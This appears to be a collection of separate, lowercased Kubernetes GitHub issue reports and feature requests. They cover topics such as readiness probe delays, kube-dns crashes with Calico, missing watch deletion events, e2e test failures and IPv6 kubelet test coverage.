pods.spec.containers.resources.limits.asdfadsfadsads \r

the kubelet unit tests currently use a fake node bound to ipv4-only semantics. for example, in kubelet_test.go:\r    \r testkubelethostname = \ 127.0.0.1\ \r testkubelethostip   = \ 127.0.0.1\ \r    \r unit tests create a new test kubelet that uses the above constants to populate hostname and ip address fields of the fake node.\r \r i am part of a sig-network working group responsible for adding ipv6 features to kubernetes. in support of pr  45551, i am interested in expanding kubelet test coverage to include ipv6.\r \r i was thinking of updating the  newtestkubeletwithimagelist  function to a  create a slice of two kubelets, one using ipv4 settings and another using ipv6 settings b  returning a slice of type  testkubelet  and c  updating all unit tests that call the  newtestkubeletwithimagelist  or the  newtestkubelet  functions to work with the  testkubelet  slice.\r \r i am looking for guidance on the best way to add ipv6 to existing test cases. your feedback is greatly appreciated.

 \r   what happened  :\r \r a deployment with a readiness probe configured with a command that is guaranteed to instantly succeed with exit code 0  the command  true  , an  initialdelayseconds  of 10, and a  periodseconds  of 300 has its pod go  ready  after the pod has already been marked as  running  for  status  for at least a minute.  \r \r   what you expected to happen  :\r \r the deployment with a readiness probe configured with the settings delineated above has the readiness probe execute roughly about 10 seconds after the pod goes into  running  for  status . the pod becomes  1/1  for  ready  right after this. i would expect that it does not take between 1-5 minutes for the pod to become  ready  after the container/pod has already been marked as  running  for  status .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i was able to reproduce it like so with the following minimal  deployment.yaml :\r \r    yaml\r apiversion: apps/v1beta2\r kind: deployment\r metadata:\r   name: nginx\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       app: nginx\r   template:\r     metadata:\r       labels:\r         app: nginx\r     spec:\r       containers:\r       - name: nginx\r         image: nginx\r         readinessprobe:\r           exec:\r             command:\r             - 'true'\r           periodseconds: 300\r           initialdelayseconds: 10\r           timeoutseconds: 30\r    \r \r i created a fresh cluster on gke  version is the latest available for gke:  1.9.4-gke.1   in the  us-central1-a  zone with one n1-standard-2 node:\r \r    bash\r $ gcloud container clusters create readiness-probe-test-cluster-latest --num-nodes=1 --machine-type n1-standard-2 --zone us-central1-a --cluster-version=1.9.4-gke.1\r creating cluster readiness-probe-test-cluster-latest...done.\r created  https://container.googleapis.com/v1/projects/operation-covfefe-1/zones/us-central1-a/clusters/readiness-probe-test-cluster-latest .\r to inspect the contents of your cluster, go to: https://console.cloud.google.com/kubernetes/workload_/gcloud/us-central1-a/readiness-probe-test-cluster-latest?project=operation-covfefe-1\r kubeconfig entry generated for readiness-probe-test-cluster-latest.\r name                                 location       master_version  master_ip       machine_type   node_version  num_nodes  status\r readiness-probe-test-cluster-latest  us-central1-a  1.9.4-gke.1     35.192.183.106  n1-standard-2  1.9.4-gke.1   1          running\r    \r \r i targeted the cluster via gcloud/kubectl under the hood:\r \r    bash\r $ gcloud container clusters get-credentials readiness-probe-test-cluster-latest --zone us-central1-a\r fetching cluster endpoint and auth data.\r kubeconfig entry generated for readiness-probe-test-cluster-latest.\r    \r \r i set up watching for pods via  in two separate terminal windows:\r \r    bash\r $ watch -n 1 kubectl get pods\r \r no resources found.\r    \r \r    bash\r $ watch -n 1 kubectl describe pods\r    \r \r i deployed the deployment via:\r \r    bash\r $ kubectl create -f deployment.yaml\r deployment \ nginx\  created\r    \r \r i observe that the pod goes into  running   status  very quickly:\r \r    \r name                     ready     status    restarts   age\r nginx-6c7794546b-2dwf5   0/1       running   0          7s\r    \r \r the image is pulled and the container started very, very quickly  under 15 seconds slowest :\r \r    \r events:\r   type    reason                 age   from                                                          message\r   ----    ------                 ----  ----                                                          -------\r   normal  scheduled              11s   default-scheduler                                             successfully assigned nginx-6c7794546b-2dwf5 to gke-readiness-probe-test-default-pool-0f78aa38-67j1\r   normal  successfulmountvolume  11s   kubelet, gke-readiness-probe-test-default-pool-0f78aa38-67j1  mountvolume.setup succeeded for volume \ default-token-vqxhc\ \r   normal  pulling                10s   kubelet, gke-readiness-probe-test-default-pool-0f78aa38-67j1  pulling image \ nginx\ \r   normal  pulled                 6s    kubelet, gke-readiness-probe-test-default-pool-0f78aa38-67j1  successfully pulled image \ nginx\ \r   normal  created                6s    kubelet, gke-readiness-probe-test-default-pool-0f78aa38-67j1  created container\r   normal  started                6s    kubelet, gke-readiness-probe-test-default-pool-0f78aa38-67j1  started container\r    \r \r but the actual pod does not go into  1/1   status  until after at least a minute. various times have been observed ranging from about 1 minute to 5 minutes, but it goes into 1/1 status very rarely under at least a minute.\r \r    \r name                     ready     status    restarts   age\r nginx-6c7794546b-2dwf5   1/1       running   0          1m\r    \r \r   anything else we need to know?  :\r \r - a less visual way to observe the issue is to create the deployment and then immediately  time  a  rollout status  command after:\r \r    bash\r $ kubectl create -f deployment.yaml\r deployment \ nginx\  created\r $ time kubectl rollout status deploy/nginx\r waiting for rollout to finish: 0 of 1 updated replicas are available...\r deployment \ nginx\  successfully rolled out\r \r real\t4m7.364s\r user\t0m0.174s\r sys\t0m0.027s\r    \r - the timings from a few other reproduction runs like above with  time ing  kubectl rollout status :\r    \r real\t4m5.264s\r user\t0m0.142s\r sys\t0m0.026s\r    \r \r    \r real\t3m54.862s\r user\t0m0.168s\r sys\t0m0.027s\r    \r \r    \r real\t1m3.162s\r user\t0m0.154s\r sys\t0m0.024s\r    \r \r    \r real\t2m52.104s\r user\t0m0.144s\r sys\t0m0.024s\r    \r \r - i specifically picked a readiness probe command that returns extremely fast/almost immediately   true   for reproduction purposes. i gave it an egregiously large  timeoutseconds  value of 30 as well for this purpose.   the  periodseconds  time of 300 is to emulate our real-life use case with a readiness probe that is more costly resources/rate-limiting wise.  \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    bash\r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:34:11z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.4-gke.1\ , gitcommit:\ 10e47a740d0036a4964280bd663c8500da58e3aa\ , gittreestate:\ clean\ , builddate:\ 2018-03-13t18:00:36z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: google kubernetes version\r - os  e.g. from /etc/os-release : cos\r - kernel  e.g.  uname -a  :  linux nginx-6c7794546b-wb7dl 4.4.111+  1 smp thu feb 1 22:06:37 pst 2018 x86_64 gnu/linux \r

i feel that similar to how node bootstrapping and dynamic kubelet config work today, it would be nice to provide a similar mechanism for serving cloud provider config from the api server. or maybe there is a better option.\r \r today we have the following options:\r 1. lay the extra config inside the machine  prebaked in the vm image \r 2. lay the extra config inside the machine  during startup of the vm \r 3. duplicate the mechanism used by bootstrapping\r 4. ???\r \r none of the above is ideal:\r 1. the config is tied to the lifecycle of the vm image and in order to rollout an update you need to go through the whole process of image build -> image publish -> rollout. also, this can be even worse when the cloud config includes credentials.\r 2. this is still tied to the lifecycle of the vm; in order to update cloud config, the vm needs to be drained, all running workloads are evicted and rescheduled elsewhere.\r 3. still suboptimal because we have to duplicate existing mechanics  give extra access to bootstrap kubeconfig in order to fetch the extra config, figure out a way to update kubelets when a new change needs to get delivered  but better than 1. and 2. since only a kubelet restart is involved and existing workloads are not disrupted apart from the restart.\r \r @smarterclayton @mtaufen @jim-minter @pweil- @kubernetes/sig-node-feature-requests

is this a bug report or feature request?:\r \r  \r i've googled it for over two weeks. the bug still exists...\r \r i really need someone to help me.\r \r architecture 1.8.10-gke.2 \r http traffic => loadbalancer => service => nginx pods => www service => www pods\r \r i set up a service by nginx as a first level traffic load balancer, which has public ip by k8s service: loadbalancer.\r \r the nginx's job is very simple as the following:\r \r 1. ssl\r \r 2. serve the http response by requested domain.\r \r my problem is that the nginx in the pod sometimes can't access the other clusterip services.\r \r i mean sometimes...\r \r i doubt it is the problem of the nginx environment, but when go into the other pods, i can't access too.\r \r the error logs in my nginx pods are disappointment:\r \r  2018/08/09 07:07:13  error  137 137:  19956 connect   failed  111: connection refused  while connecting to upstream, client: 10.140.0.12, server: example.com, request: \ get /favicon.ico http/1.1\ , upstream: \ http://10.7.255.126:80/favicon.ico\ , host: \ example.com\ , referrer: \ https://example.com/\  \r \r however, the strange thing is that when i curl the www service in the www pods, it works...\r \r does anybody gives me some hints?\r \r the reason why i don't use ingress is for testing purposes. the bug exists too if i put ingress as the first http traffic load loadbalancer\r

failing job\r ---\r  sig-release-master-upgrade multiple upgrade/downgrade tests  https://k8s-testgrid.appspot.com/sig-release-master-upgrade summary \r \r     gubernator logs\r ---\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-master/1776\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster-parallel/4923\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster/2477\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-master-new-downgrade-cluster/944\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-master-new-downgrade-cluster-parallel/4244\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster-new/1661\r \r \r     error\r ---\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/networking.go:203\r may 9 15:57:39.163: unexpected no endpoints return\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/networking.go:213\r \r     triage\r ---\r this feels similar to issues resolved in master over the past weeks by sig autoscaling around hpa and metrics server.  could it be that something needs backported, perhaps the use of the new metrics server image?  or is there a latent and genuine incompatibility here?\r \r it wasn't pursued aggressively previously as the symptom overlapped with multiple other ones being worked in master.  now that they're resolved and this issue has persisted, this is likely a release blocker.\r \r  / /  @kubernetes/sig-apps-bugs \r @kubernetes/sig-autoscaling-bugs \r /assign @mattfarina \r /cc @prydonius @kow3ns \r /milestone v1.12

-  make a centralized event reason declaration, just as @vishh suggested in  15464. this will be helpful to  14111 and can provide more details about reason define. -  use method like eventmanager.event to replace record.event in kubelet, which actually calls  record.event with some hook function, like reason field validation camelcase , hide infra container event. -  add some component level event through monitoring event stream, like after n pullimagefail or oomkilled at a time,  record a warn level  15999  event for kubelet.  it's a original idea.hope to get some suggestions.

for big images having feedback helps. i mean:       k run -i -tty bb --image=busybox waiting for pod default/bb to be running, status is pending, pod ready: false waiting for pod default/bb to be running, status is pending, pod ready: false waiting for pod default/bb to be running, status is pending, pod ready: false      vs        k run -i -tty bb --image=busybox scheduled   successfully assigned bb to e2e-test-beeps-minion-loeq implicitly required container pod   pulled      container image \ beta.gcr.io/google_containers/pause:2.0\  already present on machine implicitly required container pod   created     created with docker id 9578326a94fa implicitly required container pod   started     started with docker id 9578326a94fa

docker version - 1.11.2 kubectl version - 1.2.4 i create heapster, influxdb, grafana to monitor kubernetes , by kubectl create -f  ./cluster/addons/cluster-monitoring/influxdb file from :  https://github.com/kubernetes/kubernetes/tree/master/cluster/addons/cluster-monitoring/influxdb i can access grafana, kube status and influxdb  the latter by appending :http to the url   ,but i cannot access the heapster  get a 404  , and the grafana can list node monitor information, and no pods monitor information,why?  pods status is ok ! image  https://cloud.githubusercontent.com/assets/16483518/16549894/84f11dc6-41d6-11e6-8fa0-d2de4294d28e.png   grafana node monitor is ok ! image  https://cloud.githubusercontent.com/assets/16483518/16549904/b66ab9ac-41d6-11e6-9b5b-1907c912ce15.png   influxdb maybe right ! image  https://cloud.githubusercontent.com/assets/16483518/16549930/1af0ec84-41d7-11e6-83a8-471e8e61214a.png   and grafana pods monitor is null ,why? ! image  https://cloud.githubusercontent.com/assets/16483518/16549941/4ee1bcb2-41d7-11e6-9312-0aaee26a51fc.png

in go 1.7, the format of time.duration with a zero value was changed from  0  to  0s : https://golang.org/doc/go1.7 minor_library_changes\r \r  k8s.io/kubernetes/pkg/apis/meta/v1/duration  wraps time.duration, and does not add any additional logic: https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apimachinery/pkg/apis/meta/v1/duration.go l46\r \r thus if compiled with 1.6, the zero value is  0 , with 1.7 it is  0s .\r \r i'm not sure of the chronology here and the implications.  when we released it, we built with 1.6, so  0s  is a 1.5 regression, which we should now reverse?  or we should always output  0s , because \ 0 = 0\  but \ 0 seconds != 0 metres\ .\r \r cc @kubernetes/sig-api-machinery-misc

kubernetes version    use  kubectl version  :\r    \r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:22:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : vagrant\r -   os    e.g. from /etc/os-release : coreos\r -   kernel    e.g.  uname -a  :\r    \r linux k8s-master 4.7.3-coreos-r2  1 smp sun jan 8 00:32:25 utc 2017 x86_64 intel r  core tm  i7-5557u cpu @ 3.10ghz genuineintel gnu/linux\r    \r \r   what happened  :\r \r i deleted a namespace and did not receive a deleted event.\r \r \r   what you expected to happen  :\r \r i would expect and event with  \ type\ : \ deleted\   indicating the deletion of the namespace.\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r 1  watch the api:\r    \r curl http://172.18.18.101:8080/api/v1/namespaces?watch=true\r    \r \r 2  create a new namespace:\r    \r kubectl create ns test-ns\r    \r \r and see the following  expected  events:\r \r    \r {\ type\ :\ added\ ,\ object\ :{\ kind\ :\ namespace\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ test-ns\ ,\ selflink\ :\ /api/v1/namespacestest-ns\ ,\ uid\ :\ cb91df4b-341b-11e7-b75f-080027699053\ ,\ resourceversion\ :\ 2412\ ,\ creationtimestamp\ :\ 2017-05-08t18:26:04z\ },\ spec\ :{\ finalizers\ : \ kubernetes\  },\ status\ :{\ phase\ :\ active\ }}}\r    \r \r 3  delete the namespace\r    \r kubectl delete ns test-ns\r    \r \r two modified type events are produced, but no deleted event\r    \r {\ type\ :\ modified\ ,\ object\ :{\ kind\ :\ namespace\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ test-ns\ ,\ selflink\ :\ /api/v1/namespacestest-ns\ ,\ uid\ :\ cb91df4b-341b-11e7-b75f-080027699053\ ,\ resourceversion\ :\ 2513\ ,\ creationtimestamp\ :\ 2017-05-08t18:26:04z\ ,\ deletiontimestamp\ :\ 2017-05-08t18:27:21z\ },\ spec\ :{\ finalizers\ : \ kubernetes\  },\ status\ :{\ phase\ :\ terminating\ }}}\r {\ type\ :\ modified\ ,\ object\ :{\ kind\ :\ namespace\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ test-ns\ ,\ selflink\ :\ /api/v1/namespacestest-ns\ ,\ uid\ :\ cb91df4b-341b-11e7-b75f-080027699053\ ,\ resourceversion\ :\ 2526\ ,\ creationtimestamp\ :\ 2017-05-08t18:26:04z\ ,\ deletiontimestamp\ :\ 2017-05-08t18:27:21z\ },\ spec\ :{},\ status\ :{\ phase\ :\ terminating\ }}}\r    \r \r 4  re-create a namespace with the same name:\r    \r kubectl create ns test-ns\r    \r \r this time, no added event is generated, only a modified\r \r    \r {\ type\ :\ modified\ ,\ object\ :{\ kind\ :\ namespace\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ test-ns\ ,\ selflink\ :\ /api/v1/namespacestest-ns\ ,\ uid\ :\ 2eef8952-341c-11e7-b75f-080027699053\ ,\ resourceversion\ :\ 2636\ ,\ creationtimestamp\ :\ 2017-05-08t18:28:50z\ },\ spec\ :{\ finalizers\ : \ kubernetes\  },\ status\ :{\ phase\ :\ active\ }}}\r    \r \r \r   anything else we need to know  :\r \r this appears to be a regression in behavior from the kubernetes v1.5.x series.  the above set of commands produces the following output when running on k8s v1.5:\r \r    \r {\ type\ :\ added\ ,\ object\ :{\ kind\ :\ namespace\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ test-ns\ ,\ selflink\ :\ /api/v1/namespacestest-ns\ ,\ uid\ :\ a8582fb1-341c-11e7-ade2-080027699053\ ,\ resourceversion\ :\ 109\ ,\ creationtimestamp\ :\ 2017-05-08t18:32:14z\ },\ spec\ :{\ finalizers\ : \ kubernetes\  },\ status\ :{\ phase\ :\ active\ }}}\r {\ type\ :\ modified\ ,\ object\ :{\ kind\ :\ namespace\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ test-ns\ ,\ selflink\ :\ /api/v1/namespacestest-ns\ ,\ uid\ :\ a8582fb1-341c-11e7-ade2-080027699053\ ,\ resourceversion\ :\ 121\ ,\ creationtimestamp\ :\ 2017-05-08t18:32:14z\ ,\ deletiontimestamp\ :\ 2017-05-08t18:32:21z\ },\ spec\ :{\ finalizers\ : \ kubernetes\  },\ status\ :{\ phase\ :\ terminating\ }}}\r {\ type\ :\ modified\ ,\ object\ :{\ kind\ :\ namespace\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ test-ns\ ,\ selflink\ :\ /api/v1/namespacestest-ns\ ,\ uid\ :\ a8582fb1-341c-11e7-ade2-080027699053\ ,\ resourceversion\ :\ 131\ ,\ creationtimestamp\ :\ 2017-05-08t18:32:14z\ ,\ deletiontimestamp\ :\ 2017-05-08t18:32:21z\ },\ spec\ :{},\ status\ :{\ phase\ :\ terminating\ }}}\r {\ type\ :\ deleted\ ,\ object\ :{\ kind\ :\ namespace\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ test-ns\ ,\ selflink\ :\ /api/v1/namespacestest-ns\ ,\ uid\ :\ a8582fb1-341c-11e7-ade2-080027699053\ ,\ resourceversion\ :\ 132\ ,\ creationtimestamp\ :\ 2017-05-08t18:32:14z\ ,\ deletiontimestamp\ :\ 2017-05-08t18:32:21z\ },\ spec\ :{},\ status\ :{\ phase\ :\ terminating\ }}}\r {\ type\ :\ added\ ,\ object\ :{\ kind\ :\ namespace\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ test-ns\ ,\ selflink\ :\ /api/v1/namespacestest-ns\ ,\ uid\ :\ b30cce84-341c-11e7-ade2-080027699053\ ,\ resourceversion\ :\ 150\ ,\ creationtimestamp\ :\ 2017-05-08t18:32:32z\ },\ spec\ :{\ finalizers\ : \ kubernetes\  },\ status\ :{\ phase\ :\ active\ }}}\r    \r \r on 1.6 this appears to be affecting all api groups / types that i've tried  pods, namespaces, networkpolicy, deployments

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r  \r this morning, k8s.io announced a new conformance program.  tests for each of the sig should be delineated conformance tests using by marking them with   conformance   as described  here  https://github.com/cncf/k8s-conformance/blob/master/instructions.md .\r \r this issue will serve to track each of the sig's participation in marking their tests.\r \r -     api machinery\r -     apps\r -     architecture\r -     auth\r -     autoscaling\r -     aws\r -     azure\r -     big data\r -     cli\r -     cluster lifecycle\r -     cluster ops\r -  x  contributor experience\r -     docs\r -     multicluster\r -     instrumentation\r -     network\r -     node\r -     on premise\r -     openstack\r -     product management\r -     release\r -     scalability\r -     scheduling\r -     service catalog\r -     storage\r -     testing\r -     ui\r -     windows\r \r \r @williamdenniss \r \r \r \r \r

<!-- this form is for bug reports and feature requests only! \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r > k8s_kubedns_kube-dns container keep restart\r >> kube-dns-545bc4bfd4-dv78m                         1/3       crashloopbackoff   55         1h\r >>\r > the host calico interface show this message: \r    \r   tcpdump -i cali1d722ccd663\r tcpdump: verbose output suppressed, use -v or -vv for full protocol decode\r listening on cali1d722ccd663, link-type en10mb  ethernet , capture size 262144 bytes\r 16:06:49.289194 arp, request who-has 169.254.1.1 tell bogon, length 28\r 16:06:50.285878 arp, request who-has 169.254.1.1 tell bogon, length 28\r 16:06:51.489123 arp, request who-has 169.254.1.1 tell bogon, length 28\r 16:06:52.385843 arp, request who-has 169.254.1.1 tell bogon, length 28\r     \r >>\r > kube-dns logs is like this:\r >> docker logs -f 6f397e2677f4\r    \r i1101 08:54:52.699258       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1101 08:54:53.199184       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r e1101 08:54:53.210286       1 reflector.go:199  k8s.io/dns/vendor/k8s.io/client-go/tools/cache/reflector.go:94: failed to list  v1.service: get https://10.96.0.1:443/api/v1/services?resourceversion=0: dial tcp 10.96.0.1:443: getsockopt: no route to host\r e1101 08:54:53.210308       1 reflector.go:199  k8s.io/dns/vendor/k8s.io/client-go/tools/cache/reflector.go:94: failed to list  v1.endpoints: get https://10.96.0.1:443/api/v1/endpoints?resourceversion=0: dial tcp 10.96.0.1:443: getsockopt: no route to host\r i1101 08:54:53.699174       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r i1101 08:54:54.199199       1 dns.go:174  waiting for services and endpoints to be initialized from apiserver...\r    \r \r   what you expected to happen  :\r > kube-dns is working\r >> kube-dns-545bc4bfd4-dv78m                         3/3       0   0         1h\r \r   how to reproduce it  as minimally and precisely as possible   :\r > i use kubeadm to install k8s, and install calico plugin by this command:\r >> \ kubectl apply -f https://docs.projectcalico.org/v2.6/getting-started/kubernetes/installation/hosted/kubeadm/1.6/calico.yaml\ \r >>\r > have already disable firewalld, enable bridge, accept forward in iptables\r >> ufw status\r >> status: inactive\r >>\r >> sysctl -p\r >> ... \r >> net.bridge.bridge-nf-call-iptables = 1\r >> net.bridge.bridge-nf-call-ip6tables = 1\r >>\r >> iptables -l\r >> ...\r >> chain forward  policy accept \r >> ...\r \r   anything else we need to know?  :\r > i have check calico document, and it says that container will use  169.254.1.1 as default eth0 ip, and open calico interface proxy_arp as true, then the message from container will send to host interface as default, but it seems not working sometimes.\r > i compare the working's container and not workings', but they're same:\r >> cat /proc/sys/net/ipv4/conf/calixxx/proxy_arp \r >> 1\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.2\r - cloud provider or hardware configuration:none\r - os  e.g. from /etc/os-release :ubuntu 16.04\r - kernel  e.g.  uname -a  :linux m-usingle-192-168-4-107 4.4.0-96-generic  119-ubuntu smp tue sep 12 14:59:54 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:kubeadm\r - others:calico v1.6\r \r   sig  :\r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r bug\r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  :\r pod stuck in terminating status with corresponding  containers were deleted. using 'journalctl -u kubelet, see repeated logs:\r \r feb 08 17:34:12 xxx kubelet 1460 : e0208 17:34:12.136804    1460 kuberuntime_container.go:411  containerstatus for 5cb4f3b5c6c93001e60d0ba81b0252306df341308c6bce36ed8c7ad45099b714 error: rpc error: code = 2 desc = unable to inspect docker image \ sha256:f32dd44d6009457fc821daff6559518fea48026f5be16c73d71b84a2a471d374\  while inspecting docker container \ 5cb4f3b5c6c93001e60d0ba81b0252306df341308c6bce36ed8c7ad45099b714\ : no such image: \ sha256:f32dd44d6009457fc821daff6559518fea48026f5be16c73d71b84a2a471d374\ \r feb 08 17:34:12 xxx kubelet 1460 : e0208 17:34:12.136817    1460 kuberuntime_manager.go:857  getpodcontainerstatuses for pod \ xxxxx f82ae8e5-0b1f-11e8-8db6-00163e04c92a \  failed: rpc error: code = 2 desc = unable to inspect docker image \ sha256:f32dd44d6009457fc821daff6559518fea48026f5be16c73d71b84a2a471d374\  while inspecting docker container \ 5cb4f3b5c6c93001e60d0ba81b0252306df341308c6bce36ed8c7ad45099b714\ : no such image: \ sha256:f32dd44d6009457fc821daff6559518fea48026f5be16c73d71b84a2a471d374\ \r \r   what you expected to happen  :\r pod get deleted successfully\r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t08:23:22z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t08:08:00z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r none\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r kubeadm\r - others:\r

 \r   what happened  :\r created cluster with truncating and buffered modes enabled for audit logging.\r \r   what you expected to happen  :\r audit logs supposed to be written to the file or send via webhook.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create clusters with next env variables set:\r enable_apiserver_advanced_audit=true\r advanced_audit_truncating_backend=true\r advanced_audit_log_mode=batch\r advanced_audit_backend=log\r \r   environment  :\r - bug is present in all versions of kubernetes starting from 1.10

is the \ slow test\  result for e2e tests meaningful?  it seems it fires even for tests which take < 10 seconds, which doesn't seem particularly slow for integration tests.  alternatively, i'm running the tests on aws; are the tests really that much faster on gce? :-

i have found many  python -c  calls, and submitted a pr  22144, but speaking with @justinsb , doesn't seem the best option to use python3, as os x for example doesn't have any python3 installed by default.  also, we are assuming python 2.6 onwards on some of the python calls. i can think on the following options: - make python 2.7 a default and check for >python2.6 - get rid of python for yaml/json processing  anyway, we should _always_ avoid using  python -c  in any piece of code, as you don't know the version running. use at least  python2 -c  or  python3 -c

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-prod-smoke/1023/  failed:  k8s.io  configmap should be consumable from pods in volume with defaultmode set  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/configmap.go:42 expected error:     < errors.errorstring | 0xc820cb4470>: {         s: \ expected container configmap-volume-test success: gave up waiting for pod 'pod-configmaps-20eda6c8-921f-11e6-b3ee-0242ac110008' to be 'success or failure' after 5m0s\ ,     }     expected container configmap-volume-test success: gave up waiting for pod 'pod-configmaps-20eda6c8-921f-11e6-b3ee-0242ac110008' to be 'success or failure' after 5m0s not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2283

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-prod-smoke/1230/  multiple broken tests:  failed:  k8s.io  networking  k8s.io  granular checks: pods should function for intra-pod communication: udp  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking.go:104 expected error:     < errors.errorstring | 0xc820176ba0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking_utils.go:461     issues about this test specifically:  32830   failed:  k8s.io  networking  k8s.io  granular checks: pods should function for node-pod communication: udp  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking.go:118 expected error:     < errors.errorstring | 0xc820174ba0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking_utils.go:461     issues about this test specifically:  35283  36867   failed:  k8s.io  networking  k8s.io  granular checks: pods should function for node-pod communication: http  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking.go:111 expected error:     < errors.errorstring | 0xc8200db7c0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking_utils.go:461     issues about this test specifically:  33631  33995  34970   failed:  k8s.io  networking  k8s.io  granular checks: pods should function for intra-pod communication: http  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking.go:97 expected error:     < errors.errorstring | 0xc820196a30>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking_utils.go:461     issues about this test specifically:  32375  previous issues for this suite:  37816

we should verify whether a corresponding object in hpa  e.g. deployment  has set request and reject hpa object if it doesn't as utilization doesn't make any sense in that situation.

